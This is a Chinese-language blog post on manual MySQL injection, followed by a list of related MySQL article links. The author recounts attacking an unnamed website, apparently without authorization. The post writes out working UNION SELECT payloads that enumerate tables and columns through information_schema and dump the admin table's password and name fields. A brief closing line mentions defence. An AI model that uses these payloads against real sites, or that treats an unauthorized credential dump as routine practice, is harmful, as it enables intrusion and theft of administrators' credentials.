博客
关于我
mysql手工注入
阅读量:789 次
发布时间:2023-02-12

本文共 1322 字,大约阅读时间需要 4 分钟。

MySQL手工注入实践:从数据库信息到管理员密码的过程

在进行网络安全测试时,MySQL手工注入是一个非常实用的技能。近期,我尝试在某个网站上实践这一技术,过程颇为有趣,也让我对数据库安全有了更深入的理解。

初始测试与数据库信息获取

首先,我在网站的URL后直接追加了一些特殊字符,发现页面返回了500级错误。这表明该网站可能存在SQL注入漏洞,值得进一步测试。

为了获取数据库信息,我首先尝试通过order by语句查看数据库中的字段数量。通过这种方式,我可以了解数据库中存储了多少种不同的数据类型。

随后,我尝试使用and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema = database()的语句。这个语句的目的是从information_schema.tables表中获取数据库中的表名。执行后,我发现了admin表,这让我对接下来要获取的信息有了更明确的方向。

从表名到字段信息

使用group_concat函数,我能够从information_schema.columns表中获取特定表的字段信息。具体来说,我执行了以下语句:

and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name = 0x61646D696E

这里,0x61646D696E对应的字符串是admin表的表名。执行该语句后,我得知admin表中包含与用户名和密码相关的字段。

提取管理员账号信息

为了获取管理员账号的具体信息,我分别从admin表中提取admin_passwordadmin_firstnameadmin_lastname字段的值。以下是具体的语句:

and 1=2 union select 1,group_concat(admin_password),3,4,5,6,7,8 from admin
and 1=2 union select 1,group_concat(admin_firstname),3,4,5,6,7,8 from admin
and 1=2 union select 1,group_concat(admin_lastname),3,4,5,6,7,8 from admin

通过这些语句,我成功地提取出了管理员的用户名和部分密码信息。需要注意的是,密码信息涉及到了多次MD5加密,包括使用不同的盐值,这使得密码的解密过程更加复杂。

总结与展望

通过上述步骤,我不仅验证了网站存在SQL注入漏洞,还成功地从数据库中提取出了大量有价值的信息。当然,密码的解密过程仍然需要进一步的研究和尝试,但这一次实践让我对MySQL注入的实际应用有了更深刻的理解。

在今后的网络安全测试中,我会继续练习这种手工注入技术,同时也会关注如何防范类似的安全漏洞。毕竟,预防措施才能真正保护好我们的数据安全。

转载地址:http://wbdfk.baihongyu.com/

你可能感兴趣的文章
Mysql学习总结(57)——MySQL查询当天、本周、本月、上周、本周、上月、距离当前现在6个月数据
查看>>
Mysql学习总结(58)——深入理解Mysql的四种隔离级别
查看>>
Mysql学习总结(59)——数据库分库分表策略总结
查看>>
Mysql学习总结(5)——MySql常用函数大全讲解
查看>>
Mysql学习总结(60)——并发量大、数据量大的互联网业务数据库设计规范总结
查看>>
Mysql学习总结(61)——MySQL优化之DBA级优化整理汇总
查看>>
Mysql学习总结(62)——MySQL连接com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link问题
查看>>
Mysql学习总结(63)——Mysql数据库架构方案选择与分析
查看>>
Mysql学习总结(64)——Mysql配置文件my.cnf各项参数解读
查看>>
Mysql学习总结(65)——项目实战中常用SQL实践总结
查看>>
Mysql学习总结(66)——设置MYSQL数据库编码为UTF-8
查看>>
Mysql学习总结(67)——MYSQL慢查询日志
查看>>
Mysql学习总结(68)——MYSQL统计每天、每周、每月、每年数据 SQL 总结
查看>>
Mysql学习总结(69)——Mysql EXPLAIN 命令使用总结
查看>>
Mysql学习总结(6)——MySql之ALTER命令用法详细解读
查看>>
Mysql学习总结(70)——MySQL 优化实施方案
查看>>
Mysql学习总结(71)——MySQL 重复记录查询与删除总结
查看>>
Mysql学习总结(71)——数据库介绍(MySQL安装 体系结构、基本管理)再回顾
查看>>
Mysql学习总结(72)——MySQL 开发者开发,设计规范再总结
查看>>
Mysql学习总结(73)——MySQL 查询A表存在B表不存在的数据SQL总结
查看>>